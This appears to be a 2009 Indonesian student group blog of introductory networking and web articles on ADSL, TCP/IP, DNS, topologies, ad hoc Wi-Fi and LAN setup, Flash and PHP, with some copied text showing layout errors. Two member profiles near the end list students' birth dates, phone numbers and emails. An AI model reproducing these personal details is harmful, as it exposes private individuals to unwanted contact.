§ Proses CHILD dapat melakukan forking proses seperti halnya PARENT sehingga dapat
terbentuk struktur pohon proses.

Tulisan Anggota - 18095500

2009-11-12T00:38:00.000-08:00

Sejarah ADSL
Penelitian tentang cara pentransferan data berkecepatan tinggi dengan menggunakan saluran telepon sudah lama dilakukan oleh para ahli. Sedangkan penelitian teknologi ADSL (Asymmetric Digital Subscriber Line) sendiri pertama kali dimulai pada tahun 1989 yang dilakukan oleh perusahaan Bell Core. Kemudian diawal tahun 1990 berbagai uji coba dilakukan di Amerika, Eropa dan Jepang.
Pada saat itu aplikasi teknologi ADSL ini hanya sebatas pada VOD (Video On Demand = menyaksikan suatu acara (program TV, video film dan sejenisnya) sesuai dengan keinginan kita saja). Karena pada VOD kecepatan tinggi untuk akses pen-download-an (dari server ke user) sangat diperlukan, sedangkan kecepatan akses peng-upload-an (dari user ke server) tidaklah begitu dipentingkan. Dengan kata lain kecepatan akses untuk download dan upload pada VOD berbeda (asymmetric).
Akan tetapi pada saat itu teknologi ADSL yang dikembangkan oleh Bell Core ini tidak begitu mengalami kemajuan. Dapat dikatakan mengalami kemacetan. Hal ini disebabkan oleh beberapa sebab, antara lain : saat itu biaya pengoperasian server sangatlah mahal, teknologi ADSL untuk VOD sendiri masih belum matang dan belum mendapat sambutan yang hangat dari customer.
Pada tahun 1995, internet berkembang begitu pesatnya. Kebutuhan akan akses kecepatan tinggi dengan biaya murah merupakan salah satu syarat untuk kemajuan internet itu sendiri di masa mendatang. Kemudian penelitian terhadap teknologi ADSL kembali dilakukan oleh para ahli.
ADSL Itu Teknologi MODEM
Banyak orang memberi penjelasan tentang ADSL dengan “suatu line yang….” Padahal ADSL itu sendiri sebenarnya hanyalah suatu MODEM yang biasa kita gunakan untuk akses internet dengan “dial up connection”, bukan suatu sistem sambungan/jaringan. Teknologi ADSL adalah suatu teknologi MODEM. Jadi kalau kita sedang berbicara tentang ADSL, artinya kita sedang berbicara tentang suatu MODEM yang dalam hal ini adalah MODEM ADSL.
Lalu apa bedanya dengan modem konvesional yang memiliki kecepatan pentransferan data maksimum 56 Kbps? Perbedaan antara modem ADSL dengan modem konvensional yang paling mudah kita jumpai adalah dalam kecepatan pentransferan (upload/download) data. Walaupun sama-sama menggunakan saluran telepon umum sebagai jalur komunikasinya, kecepatan pada modem ADSL berkisar antara 1.5 Mbps sampai 9 Mbps. Perbedaan kecepatan yang mencolok diantara keduanya (modem konvesional dan ADSL) dikerenakan perbedaan penggunaan frekuensi untuk mengirim sinyal/data.
Pada modem konvesional digunakan frekuensi dibawah 4 kHz, sedangkan pada modem ADSL digunakan frekuensi di atas 4 kHz. Umumnya modem ADSL menggunakan frekuensi antara 34 kHz sampai 1104 kHz (lihat gambar 2). Inilah penyebab utama perbedaan kecepatan pentransferan sinyal/data antara modem konvensional dan modem ADSL.

Artikel IT of Yuhendri

2009-11-12T00:28:00.000-08:00

Windows NT TCP/IP
TCP/IP protokol adalah jaringan dengan teknologi “packet Switching “ yang berasal dari proyek
DARPA ( development of Defense Advanced Research Project Agency ) ditahun 1970-an yang
dikenal dengan nama ARPANET.
TCP/IP adalah protokol yang tersedia pada NT 4.0 dengan layanan aplikasi berorientasi internet dan
intranet
TCP/IP sendiri sebenarnya merupakan suite dari gabungan beberapa protokol. Di dalamnya terdapat
protokol TCP, IP, SMTP, POP, dan sebagainya.
TCP
TCP (Transmission Control Protokol ) melakukan transmisi data per segmen, artinya paket data
dipecah dalam jumlah yang sesuai dengan besaran paket, kemudian dikirim satu persatu hingga
selesai.
Agar pengiriman data sampai dengan baik, maka pada setiap paket pengiriman, TCP akan
menyertakan nomor seri ( sequence number ).
Komputer mitra yang menerima paket tersebut harus mengirim balik sebuah sinyal ACKnowledge
dalam satu periode yang ditentukan. Bila pada waktunya sang mitra belum juga memberikan ACK,
maka terjadi “ time out “ yang menandakan pegiriman paket gagal dan harus diulang kemabali.
Model protocol TCP disebut sebagai connection oriented protocol.
TCP PORT
Port merupakan pintu masuk datagram dan paket data. Port data dibuat mulai dari 0 sampai dengan
65.536.
Port 0 sampai dengan 1024 disediakan untuk layanan standar, seperti FTP, TELNET, Mail, Web dan
lainnya. Port ini lebih dikenal dengan nama well known port. Dapat dilihat contoh port pada table
dibawah.
No Port Keterangan
21
110
FTP
POP3
23 Telnet
25 SMTP
80 HTTP/ Web
Internet Protokol ( IP )
Internet protocol menggunakan IP-address sebagai identitas. Pengiriman data akan dibungkus dalam
paket dengan label berupa IP-address si pengirim dan IP-address penerima.
Apabila IP penerima melihat pengiriman paket tersebut dengan identitas IP-address yang sesuai, maka
datagram tersebut akan diambil dan disalurkan ke TCP melalui port, dimana aplikasi menunggunya.
IP address terbagi dua ( 2 ) bagian, yaitu :
Network ID ( identitas Jaringan )
HOST ID ( Identitas Komputer )
Penulisan IP address terbagi atas 4 angka, yang masing-masing mempunyai nilai maksimum 255
( maksimum dari 8 bit )
IP Address dirancang dalam beberapa CLASS yang didefinisikan sebagai berikut :
Class A :
Network id Host Id ( 24 bit )
0xxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx
Class B :
Network Id Host Id ( 16 bit )
10xx xxxx xxxx xxxx xxxx xxxx xxxx xxxx
Class C :
Network Id Host Id ( 8 bit )
110x xxxx xxxx xxxx xxxx xxxx xxxx xxxx
untuk lebih jelasnya, maka dibawah ini akan disajikan class dalam bentuk tabel
Class Antara Jumlah
Jaringan
Jumlah Host Per
Jaringan
A 1 s/d 126 126 16.777.214
B 128 s/d 191 16.384 65.534
C 192 s/d 223 2.097.152 254
Dengan demikian untuk menentukan class A, B, atau C, cukup dilihat dari angka 8 bit pertama.
IP Address : 255 . 255 . 255 . 255
2
Kuliah Umum IlmuKomputer.com
Copyright@2003 ilmukomputer.com
10.123.7.15 Class A
190.24.43.20 Class B
202.159.23.10 Class C
untuk IP address yang legal akan diberikan oleh NIC ( Network Information Center ), yang mana
setiap orang dapat memintanya melalui ISP ( Internet Service Provider ).

Tulisan Anggota - 18095490

2009-11-12T00:27:00.001-08:00

TCP/IP protokol adalah jaringan dengan teknologi gpacket Switching g yang berasal dari proyek DARPA ( development of Defense Advanced Research Project Agency ) ditahun 1970-an yang dikenal dengan nama ARPANET. TCP/IP adalah protokol yang tersedia pada NT 4.0 dengan layanan aplikasi berorientasi internet dan intranet TCP/IP sendiri sebenarnya merupakan suite dari gabungan beberapa protokol. Di dalamnya terdapat protokol TCP, IP, SMTP, POP, dan sebagainya.

Tutorial ini akan menjelaskan tentang konsep dan aplikasi tcp/ip khususnya yang terdapat pada windows NT server.

Artikel IT of Arbi Wibawa

2009-11-12T00:25:00.000-08:00

Jaringan komputer adalah sebuah kumpulan komputer, printer dan
peralatan lainnya yang terhubung. Informasi dan data bergerak melalui
kabel-kabel sehingga memungkinkan pengguna jaringan komputer dapat
saling bertukar dokumen dan data, mencetak pada printer yang sama dan
bersama sama menggunakan hardware/software yang terhubung dengan
jaringan. Tiap komputer, printer atau periferal yang terhubung dengan

jaringan disebut node. Sebuah jaringan komputer dapat memiliki dua,
puluhan, ribuan atau bahkan jutaan node.
Sebuah jaringan biasanya terdiri dari 2 atau lebih komputer yang
saling berhubungan diantara satu dengan yang lain, dan saling berbagi
sumber daya misalnya CDROM, Printer, pertukaran file, atau
memungkinkan untuk saling berkomunikasi secara elektronik. Komputer
yang terhubung tersebut, dimungkinkan berhubungan dengan media kabel,
saluran telepon, gelombang radio, satelit, atau sinar infra merah.
2. Jenis-Jenis jaringan
Ada 3 macam jenis Jaringan/Network yaitu :
a. Local Area Network (LAN) /Jaringan Area Lokal.
Sebuah LAN, adalah jaringan yang dibatasi oleh area yang relatif
kecil, umumnya dibatasi oleh area lingkungan seperti sebuah
perkantoran di sebuah gedung, atau sebuah sekolah, dan biasanya tidak
jauh dari sekitar 1 km persegi.
Beberapa model konfigurasi LAN, satu komputer biasanya di
jadikan sebuah file server. Yang mana digunakan untuk menyimpan
perangkat lunak (software) yang mengatur aktifitas jaringan, ataupun
sebagai perangkat lunak yang dapat digunakan oleh komputerkomputer
yang terhubung ke dalam network. Komputer-komputer
yang terhubung ke dalam jaringan (network) itu biasanya disebut
dengan workstation. Biasanya kemampuan workstation lebih di bawah
dari file server dan mempunyai aplikasi lain di dalam harddisknya
selain aplikasi untuk jaringan. Kebanyakan LAN menggunakan media
kabel untuk menghubungkan antara satu komputer dengan komputer
lainnya.
b. Metropolitan Area Network (MAN) / Jaringan area Metropolitan
Sebuah MAN, biasanya meliputi area yang lebih besar dari LAN,
misalnya antar wilayah dalam satu propinsi. Dalam hal ini jaringan
2
Kuliah Umum IlmuKomputer.Com
Copyright © 2003 IlmuKomputer.Com
menghubungkan beberapa buah jaringan-jaringan kecil ke dalam
lingkungan area yang lebih besar, sebagai contoh yaitu : jaringan Bank
dimana beberapa kantor cabang sebuah Bank di dalam sebuah kota
besar dihubungkan antara satu dengan lainnya.
Misalnya Bank BNI yang ada di seluruh wilayah Ujung Pandang atau
Surabaya.
c. Wide Area Network (WAN) / Jaringan area Skala Besar
Wide Area Networks (WAN) adalah jaringan yang lingkupnya
biasanya sudah menggunakan sarana Satelit ataupun kabel bawah laut
sebagai contoh keseluruhan jaringan BANK BNI yang ada di Indonesia
ataupun yang ada di Negara-negara lain.
Menggunakan sarana WAN, Sebuah Bank yang ada di Bandung
bisa menghubungi kantor cabangnya yang ada di Hongkong, hanya
dalam beberapa menit. Biasanya WAN agak rumit dan sangat
kompleks, menggunakan banyak sarana untuk menghubungkan antara
LAN dan WAN ke dalam Komunikasi Global seperti Internet. Tapi
bagaimanapun juga antara LAN, MAN dan WAN tidak banyak
berbeda dalam beberapa hal, hanya lingkup areanya saja yang berbeda
satu diantara yang lainnya.

Tulisan Anggota - 18095559

2009-11-12T00:22:00.001-08:00

Zaman sekarang, internet merupakan kebutuhan bagi banyak orang karena dengan internet kita bisa mengakses dan menemukan segala informasi di seluruh dunia dengan cepat dan mudah. Kebutuhan internet yang sangat penting sehingga peningkatan jumlah pemakai internet setiap tahun yang selalu meningkat di seluruh dunia. Di Indonesia sendiri jumlah pemakai internet selalu meningkat dengan peningkatan yang cukup besar.

Sekarang banyak sekali layanan-layanan akses internet yang bisa kita pilih sesuai dengan kebutuhan kita, salah satunya layanan akses internet dari PT. Telkom seperti Telkomnet Instan dan Telkom Speedy. Telkomnet Instan merupakan layanan akses Dial-Up dengan kecepatan berkisar antara 40 Kbps - 56 Kbps sedangkan Telkom Speedy merupakan akses ADSL dengan kecepatan Up To 384 Kbps. Selain itu masih banyak sekali layanan-layanan akses internet yang bisa kita pilih.

Ada lagi layanan internet yang menggunakan Wireless Lan yang merupakan akses internet tanpa kabel atau menggunakan gelombang elektromagnetik seperti akses GPRS menggunakan handphone, PDA, laptop, dll. Selain itu sinyal Hotspot yang sering disebarkan ditempat-tempat seperti Mall, Cafe, Kampus, atau berbagai tempat lainnya bisa digunakan untuk mengakses internet, kita hanya perlu membawa peralatan mobile kita ditempat tersebut dan berinternetan disana.

Untuk dapat mengakses internet baik dengan kabel atau tanpa kabel selain diperlukan seperangkat komputer atau laptop diperlukan juga sebuah alat yang disebut Modem, modem berfungsi sebagai protokol yang mengubah sinyal analog menjadi sinyal digital atau sebaliknya.

Mungkin itu saja tulisan yang dapat saya sampaikan hari ini... Selalu kunjungi blog ini karena saya akan selalu meng-update tulisan saya setiap harinya...

Artikel IT of Ervan W

2009-11-12T00:15:00.000-08:00

1.1. Sejarah DNS
Sebelum dipergunakannya DNS, jaringan komputer menggunakan HOSTS files yang berisi informasi
dari nama komputer dan IP address-nya. Di Internet, file ini dikelola secara terpusat dan di setiap loaksi
harus di copy versi terbaru dari HOSTS files, dari sini bisa dibayangkan betapa repotnya jika ada
penambahan 1 komputer di jaringan, maka kita harus copy versi terbaru file ini ke setiap lokasi. Dengan
makin meluasnya jaringan internet, hal ini makin merepotkan, akhirnya dibuatkan sebuah solusi dimana
DNS di desain menggantikan fungsi HOSTS files, dengan kelebihan unlimited database size, dan
performace yang baik. DNS adalah sebuah aplikasi services di Internet yang menerjemahkan sebuah
domain name ke IP address. Sebagai contoh, www untuk penggunaan di Internet, lalu diketikan nama
domain, misalnya: yahoo.com maka akan di petakan ke sebuah IP mis 202.68.0.134. Jadi DNS dapat di
analogikan pada pemakaian buku telepon, dimana orang yang kita kenal berdasarkan nama untuk
menghubunginya kita harus memutar nomor telepon di pesawat telepon. Sama persis, host komputer
mengirimkan queries berupa nama komputer dan domain name server ke DNS, lalu oleh DNS dipetakan
ke IP address.
1.2. Domain Name System (DNS)
Domain Name System (DNS) adalah distribute database system yang digunakan untuk pencarian nama
komputer (name resolution) di jaringan yang mengunakan TCP/IP (Transmission Control
Protocol/Internet Protocol). DNS biasa digunakan pada aplikasi yang terhubung ke Internet seperti web
Lisensi Dokumen:
Copyright © 2003 IlmuKomputer.Com
Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara
bebas untuk tujuan bukan komersial (nonprofit), dengan syarat tidak menghapus atau merubah
atribut penulis dan pernyataan copyright yang disertakan dalam setiap dokumen. Tidak
diperbolehkan melakukan penulisan ulang, kecuali mendapatkan ijin terlebih dahulu dari
IlmuKomputer.Com.
Kuliah Umum IlmuKomputer.Com
Copyright © 2003 IlmuKomputer.Com
2
browser atau e-mail, dimana DNS membantu memetakan host name sebuah komputer ke IP address.
Selain digunakan di Internet, DNS juga dapat di implementasikan ke private network atau intranet
dimana DNS memiliki keunggulan seperti:
1. Mudah, DNS sangat mudah karena user tidak lagi direpotkan untuk mengingat IP address
sebuah komputer cukup host name (nama Komputer).
2. Konsisten, IP address sebuah komputer bisa berubah tapi host name tidak berubah.
3. Simple, user hanya menggunakan satu nama domain untuk mencari baik di Internet maupun di
Intranet.
1.3. Apa itu DNS?
DNS dapat disamakan fungsinya dengan buku telepon. Dimana setiap komputer di jaringan Internet
memiliki host name (nama komputer) dan Internet Protocol (IP) address. Secara umum, setiap client
yang akan mengkoneksikan komputer yang satu ke komputer yang lain, akan menggunakan host name.
Lalu komputer anda akan menghubungi DNS server untuk mencek host name yang anda minta tersebut
berapa IP address-nya. IP address ini yang digunakan untuk mengkoneksikan komputer anda dengan
komputer lainnya.

Tulisan Anggota - 18095499

2009-11-12T00:14:00.000-08:00

Domain Name System (DNS) adalah distribute database system yang digunakan untuk pencarian nama komputer (name resolution) di jaringan yang mengunakan TCP/IP (Transmission Control Protocol/Internet Protocol). DNS biasa digunakan pada aplikasi yang terhubung ke Internet seperti web browser atau e-mail, dimana DNS membantu memetakan host name sebuah komputer ke IP address.

DNS dapat disamakan fungsinya dengan buku telepon. Dimana setiap komputer di jaringan Internet memiliki host name (nama komputer) dan Internet Protocol (IP) address. Secara umum, setiap client yang akan mengkoneksikan komputer yang satu ke komputer yang lain, akan menggunakan host name. Lalu komputer anda akan menghubungi DNS server untuk mencek host name yang anda minta tersebut berapa IP address-nya. IP address ini yang digunakan untuk mengkoneksikan komputer anda dengan komputer lainnya.

Artikel IT of Satya Adhi Pratama

2009-11-12T00:06:00.000-08:00

Jenis-jenis Physical Topology :

• Topologi Bus

Topologi ini memiliki karakteristik sebagai berikut:

* merupakan satu kabel yang kedua ujung nya ditutup, dimana sepanjang kabel terdapat node-node
* umum digunakan karena sederhana dalam instalasi
* signal melewati kabel dalam dua arah dan mungkin terjadi collision
* problem terbesar pada saat kabel putus. Jika salah satu segmen kabel putus, maka seluruh jaringan akan terhenti.

• Topologi Ring

Topologi ini mempuyai karakteristik sebagai berikut:

* lingkaran tertutup yang berisi node-node
* sederhana dalam layout
* signal mengalir dalam satu arah, sehingga dapat menghindarkan terjadinya collision (dua paket data bercampur), sehingga memungkinkan pergerakan data yang cepat dan collision detection yang lebih sederhana
* problem: sama dengan topologi bus
* biasanya topologi ring tidak dibuat secara fisik melainkan direalisasikan dengan sebuah consentrator dan kelihatan seperti topologi star

• Topolog Star

Topologi ini mempunyai karakteristik sebagai berikut:

* setiap node berkomunikasi langsung dengan central node, traffic data mengalir dari node ke central node dan kembali lagi.
* mudah dikembangkan, karena setiap node hanya memiliki kabel yang langsung terhubung ke central node
* keunggulannya adalah jika satu kabel node terputus yang lainnya tidak terganggu
* dapat digunakan kabel yang “lower grade” karena hanya menghandel satu traffic node, biasanya digunakan kabel UTP

• Topologi Extended Star

Topologi Extended Star merupakan perkembangan lanjutan dari topologi star dimana karakteristiknya tidak jauh berbeda dengan topologi star yaitu :

* setiap node berkomunikasi langsung dengan sub node, sedangkan sub node berkomunikasi dengan central node. traffic data mengalir dari node ke sub node lalu diteruskan ke central node dan kembali lagi.
* Digunakan pada jaringan yang besar dan membutuhkan penghubung yang banyak atau melebihi dari kapasitas maksimal penghubung.
* keunggulan : jika satu kabel sub node terputus maka sub node yang lainnya tidak terganggu, tetapi apabila central node terputus maka semua node disetiap sub node akan terputus
* tidak dapat digunakan kabel yang “lower grade” karena hanya menghandel satu traffic node, karena untuk berkomunikasi antara satu node ke node lainnya membutuhkan beberapa kali hops.

• Topologi hierarchical

Topologi ini biasa disebut sebagai topolodi tree. Dibangun oleh seperti halnya topologi extended star yang dihubungkan melalui sub node dalam satu central node. Topologi ini dapat mensupport baik baseband maupun broadband signaling dan juga mensupport baik contention maupun token bus access.

• Topologi Mesh

MESH topologi dibangun dengan memasang link diantara atation-station. Sebuah ‘fully-connected mesh’ adalah sebauh jaringan dimana setiap terminal terhubung secara langsung ke semua terminal-terminal yang lain. Biasanya digunakan pada jaringan komputer kecil. Topologi ini secara teori memungkinkan

akan tetapi tidak praktis dan biayanya cukup tinggi untuk di-implementasikan. Mesh topologi memiliki tingkat redundancy yang tinggi. Sehingga jika terdapat satu link yang rusak maka suatu station dapat mencari link yang lainnya.

Tulisan Anggota - 18095491

2009-11-12T00:02:00.000-08:00

Pengertian Jaringan

Jaringan komputer adalah sebuah sistem yang terdiri atas computer dan perangkat jaringan lainnya yang bekerja bersama-sama untuk mencapai suatu tujuan yang sama. Tujuan dari jaringan komputer adalah:

* Membagi sumber daya: contohnya berbagi pemakaian printer, CPU, memori, harddisk
* Komunikasi: contohnya surat elektronik, instant messaging, chatting
* Akses informasi: contohnya web browsing

Topologi Jaringan

Topologi jaringan adalah, hal yang menjelaskan hubungan geometris antara unsur-unsur dasar penyusun jaringan, yaitu node, link, dan station.

Terdapat 6 jenis topologi yaitu :

1. Bus
2. Ring
3. Star
4. Extended Star
5. hierarchical topology
6. Mesh

Setiap topologi memuliki karakteristik yang berdeda-beda dan masing-masing juga memiliki keuntungan dan kerugian. Topologi tidak tergantung kepada medianya dan setiap topologi biasanya menggunakan media sebagai berikut :

Jenis-jenis Media yaitu :

1. Twisted Pair
2. Coaxial Cable
3. Optical Cable
4. Wireless

Topologi dibagi menjadi dua jenis yaitu Physical Topology dan Logical Topologi. Dibawah ini adalah jenis-jenis Physical Topologi.

Artikel IT or Ahmad Jaelani

2009-11-08T23:52:00.000-08:00

Jaringan nirkabel ad hoc bekerja seperti walkie-talkie, karena komputer berkomunikasi langsung satu sama lainnya. Dengan mengaktifkan Internet Connection Sharing pada salah satu komputer, Anda dapat berbagi akses internet

Berikut langkah-langkah menghubungkan komputer ke Internet menggunakan jaringan nirkabel ad hoc :

1. Aktifkan Internet Connection Sharing pada komputer yang terhubung internet. Anda dapat melewatkan langkah ini jika anda tidak perlu mengakses Web.
2. Mengatur jaringan nirkabel ad hoc pada komputer yang terhubung internet.
3. Tambahkan komputer Anda yang lain ke jaringan nirkabel.

Cara mengaktifkan Internet Connection Sharing

Pada jaringan nirkabel dengan router, router memiliki tugas penting forwarding komunikasi dari komputer di jaringan ke Internet. Pada jaringan ad hoc, Anda harus menetapkan satu komputer untuk melayani peran ini. Komputer Anda harus memiliki koneksi kabel ke Internet, dan harus ditinggalkan di bila ingin dapat menggunakan komputer Anda yang lain.
Cara mengatur komputer pertama

Mengatur ad hoc jaringan nirkabel yang memungkinkan komputer untuk berbagi sebuah koneksi internet tanpa router

1. Jika perlu, pasang adapter jaringan nirkabel misal USB Wireless Tplink WN321 atau Tplink
WN322
2. Klik Mulai, kemudian klik Control Panel.
3. Pilih kategori di bawah, klik Network dan Internet Connections
4. Di bawah atau pilih icon Control Panel, klik Network Connections.
5. Klik-kanan koneksi jaringan nirkabel Anda, kemudian klik Properties.
6.Pada Wireless Network Connection Properties dialog box, klik tab Wireless Networks.
7. Pada tab Wireless Networks, di bawah jaringan yang dipilih, klik ADD.
8. Pada jaringan Wireless properti kotak dialog, pada tab Asosiasi, ketik nama jaringan wireless ad hoc di Jaringan nama (SSID) kotak (ditampilkan pada langkah 10). Misalnya, Anda dapat memberikan nama jaringan nirkabel Anda NETKOM.
9. Kosongkan Kunci disediakan untuk saya secara otomatis memeriksa dan memilih kotak ini adalah sebuah komputer-ke-komputer (ad hoc) network check box.
10. Buatlah password dengan 13-digit dalam kedua-kunci network. Untuk keamanan terbaik, gunakan kombinasi huruf, angka, dan tanda baca. Kemudian klik OK
11. Klik OK lagi untuk menyimpan perubahan

Cara mengatur tambahan komputer

Jika komputer Anda ingin menambahkan Anda ke jaringan tidak ada built-in dukungan jaringan nirkabel, pasang adapter jaringan nirkabelnya, misal PCI Wireless Adapter Tplink WN551G

Windows XP secara otomatis mendeteksi dan adapter baru akan memberitahu Anda bahwa ia menemukan jaringan nirkabel.

Sekarang komputer Anda terhubung ke jaringan nirkabel Anda

Catatan: Langkah-langkah ditas hanya berlaku jika Anda menggunakan Windows XP Service Pack 2 (SP2). Jika Anda belum terinstal SP2, kunjungi Microsoft Update untuk menginstalnya sebelum terhubung ke jaringan ad hoc.

1. Klik kanan ikon Jaringan Nirkabel di sudut kanan bawah layar Anda, kemudian klik View Available Wireless Networks.

Catatan:
1. Jika Anda menemui masalah, jangan takut untuk menanyakannya ke produsen merk adapter yang anda gunakan tersebut untuk membantu masalah anda.
2. Jendela The Wireless Network Connection akan muncul dan menampilkan jaringan nirkabel Anda terdaftar dengan SSID yang anda pilih. Jika Anda tidak melihat jaringan anda, klik Refresh Jaringan Daftar di sudut kiri atas. Klik jaringan Anda, kemudian klik Connect di sudut kanan bawah.
3. Windows XP akan meminta anda untuk memasukkan kunci password, kemudian klik Connect.

Windows XP akan menunjukkan signal strength yang terhubung ke jaringan anda. Setelah Anda terhubung, Anda dapat menutup jendela Wireless Network Connection.

Ulangi tiga langkah diatas pada setiap komputer yang akan terhubung ke jaringan nirkabel ad hoc.

Kalau anda anda sudah siap untuk menelusuri dunia maya dan browsing ke www.netkom-wifi.com, dari komputer Anda ke jaringan rumah Anda. Rekomendasi jika anda menggunakan Router Nirkabel pastikan Linksys WRT54GL DD-WRT menjadi pilihan favorit anda karena dari kelengkapan fiturnya tidak terkalah oleh yang lainnya.

Jaringan ad hoc adalah alternatif pintar untuk menggunakan router nirkabel, tetapi memiliki beberapa kelemahan:

* Jika komputer yang terhubung ke internet mati atau shut down, semua komputer yang merupakan bagian dari jaringan ad hoc kehilangan akses internet.
* Untuk menghubungkan ke Internet, satu komputer selalu memerlukan sambungan jaringan kabel.

Artikel IT or Bondan DF

2009-11-08T23:43:00.001-08:00

Peralatan yang dibutuhkan untuk membangun LAN tergantung jenis medianya, yaitu menggunakan kabel atau gelombang radio (nirkabel).
Jika menggunakan kabel, anda membutuhkan kartu jaringan (ethernet card) yang jumlahnya disesuaikan jumlah PC, kabel UTP (unshielded twisted pair), konektor RJ-45(sepasang untuk setiap PC), switch.
Kalau menggunakan gelombang radio, anda membutuhkan sebuah wireless access point dan perangkat nirkabel(berupa kartu jaringan/berupa dongle USB) yang jumlahnya disesuaikan dengan jumlah PC.
Untuk membangun LAN menggunakan kabel, anda harus memasang kartu jaringan atau LAN adapter ke setiap perangkat yang akan dihubungkan ke jaringan. Lalu dipasang kabel UTP ke konektor RJ45. Konektor yang satu dihubungkan ke kartu jaringan, sedangkan konektor lainnya dihubungkan ke switch.
Cara setting untuk mengkonfigurasi alamat IPnya sebagai berikut :
Klik Start*Control panel.
Klik kanan Local area Connection dan pilih Properties.
Menu yang muncul dalam lembar General, klik 2x Internet Protocol (TCP/IP).
Klik Obtain an IP address automatically. Jika anda akan memakai alamat IP dinamis. Lalu klik OK.
Jika anda akan memakai alamat IP tetap, masukkan alamat IP 192.168.0.1 (untuk komputer pertama) pada baris IP address dan masukkan angka 255.255.255.0 pada bagian subnet mask. Untuk komputer yang kedua, masukkan alamat 192.168.0.2. Sedangkan untuk komputer yang lainnya masukkan 192.168.0.3, 192.168.0.4 dan seterusnya secara berurutan. Tapi subnet nya sama yaitu 255.255.255.0 untuk semua komputer. Setelah itu klik OK dan OK lagi.Selamat mencoba....

Artikel IT or Muhammad Ryan

2009-11-08T23:39:00.001-08:00

Adobe Flash adalah salah satu perangkat lunak komputer yang merupakan produk unggulan Adobe System. Adobe Flash digunakan untuk membuat gambar vektor maupun animasi gambar tersebut. Berkas yang dihasilkan dari perangkat lunak ini mempunyai file extension .swf dan dapat diputar di penjelajah web yang telah dipasangi Adobe Flash Player. Flash menggunakan bahasa pemrograman bernama ActionScript yang muncul pertama kalinya pada Flash 5.
Sebelum tahun 2005, Falsh dirilis oleh Macromedia. Flash 1.0 diluncurkan pada tahun 1996 setelah Macromedia membeli program animasi vektor bernama FutureSplash. Versi terakhir yang diluncurkan di pasaran dengan menggunakan nama ‘Macromedia’ adalah Macromedia Flash 8. pada tanggal 03 Desember 2005 Adobe Systems mengakuisisi Macromedia dan seluruh produknya, sehingga nama Macromedia Flash berubah menjadi Adobe Flash.

Riwayat produk

1. FutureSplash Animator (10 April 1996)
2. Flash 1 (Desember 1996)
3. Flash 2 (Juni 1997)
4. Flash 3 (31 Mei 1998)
5. Flash 4 (15 Juni 1999)
6. Flash 5 (24 Agustus 2000) – ActionScript 1.0
7. Flash MX (versi 6) (15 Maret2002)
8. Flash MX 2004 (versi 7) (09 September 2003) – ActionScript 2.0
9. Flash MX Professional 2004 (versi 7) (09 September 2003)
10. Flash Basic 8 (13 September 2005)
11. Flash Professional 8 (13 September 2005)
12. Flash Basic 9 & Flash Professional 9 (segera diluncurkan) – ActionScript 3.0

Tulisan Anggota- 18095480

2009-11-08T23:19:00.001-08:00

Pemrograman PHP

Pemrograman PHP sebenarnya sangat mudah dipelajari, dan artikel ini akan membantu anda untuk mempelajari tahapan pemrograman PHP dengan jauh lebih mudah lengkap dengan link-link yang berguna.

PHP adalah bahasa pemrograman yang relatif sangat mudah dipelajari karena sangat fleksibel dan tidak memerlukan aturan yang ketat dalam penulisan programnya. Nah, untuk bisa emmpelajarinya at least kamu harus memahami beberapa hal yang dasar terlebih dahulu. Kita mulai dengan urutan ilmu yang sebaiknya dikuasai terlebih dahulu ya.

Urutan Belajar Pemrograman PHP

Pertama sekali, kamu harus udah terbiasa nginternet. ini hukumnya wajib dan mandatory, karena PHP adalah bahasa pemrograman yang ditujukan untuk pemrograman di dunia internet. Perhatikan contoh-contoh web dinamis yang pernah kamu telusuri dan kamu pasti sudah melihat bahwa aplikasi web interaktif sangat bervariasi dan bermanfaat. Dengan melihat banyak contoh yang ada, maka kreasi kamu akan lebih kratif.

Kalau udah sering nginternet, kamu harus memahami dulu cara kerja pemrograman Internet. Kamu bisa mulai dengan mempelajari bagaimana sebuah halaman web dapat tampil di layar komputer kamu dari web server yang letaknya jauh di belahan bumi lain. Salah satu sumber yang baik adalah http://w3school.org check that out!

Setelah punya bayangan tentang cara kerja internet, kamu bisa mulai belajar pemrograman HTML dulu untuk membuat halaman web statis. Kamu perlu menguasai HTML ini demi keindahan tampilan web site yang akan kamu bikin. Lengkapi pengetahuan kamu dengan tambahan ilmu lain seperti CSS yang akan membuat kamu mudah dalam mengubah tampilan web kamu dalam waktu singkat.

Kalau udah cukup mateng di HTML, kamu udah bisa mulai melangkahkan kaki kamu untuk mempelajari pemrograman PHP. Hal ini akan memberikan kemampuan baru pada web site yang kamu buat yaitu sifat interaktif dengan pengunjung web site kamu. Sebagai salah satu sumbernya, kamu bisa belajar php di tutorial yang ada di situs ini.

Nah, saat kamu udah mulai mempelajari pemrograman PHP, kamu akan sampai ke satu titik di mana kamu akan membutuhkan database. Database ini berguna untuk membuat web site kamu lebih bermanfaat lagi yaitu dengan membuat kamu bisa menyimpan data untuk dan dari pengunjung web site kamu dalam jumlah besar dan menampilkannya dengan lebih mudah.

Ok, kalau udah sampai tahap ini, kamu udah memliki semua kemampuan dasar untuk membuat web site. Selanjutnya kamu tinggal mengasah kemampuan yang kamu miliki dengan banyak mempelajari script yang sudah ada. Kamu bahkan bisa membuat program PHP yang canggih tanpa perlu menuliskan setiap kode dari awal. Gunakan script yang ada untuk membantu kamu melakukan development web site PHP kamu dengan jauh lebih cepat. Kunjungi web site http://hotscripts.com sebagai salah satu sumber kamu, dan aktiflah di berbagai forum PHP yang ada.

Profil of Muhammad Ryan

2009-11-08T23:15:00.000-08:00

Name: Muhammad Ryan
NIM: 18095480
TTL: bogor, 15 oktober 1991
contract person: 085723521380
Email or Facebook: aink_supercuts@yahoo.com or

Profil of Bondan DF

2009-11-08T23:13:00.000-08:00

Name: Bondan DF
NIM: 18095542
TTL: Bogor, 20 maret 1992
contact person: 085710029807
Email/ Facebook: bondan_dimarch@yahoo.com or

Tulisan Anggota - 18095542

2009-10-29T01:15:00.000-07:00

Melakukan Perbaikan Dan Atau Setting Ulang Koneksi Jaringan

Mempersiapkan Perbaikan Konektifitas Jaringan pada PC yang Bermasalah

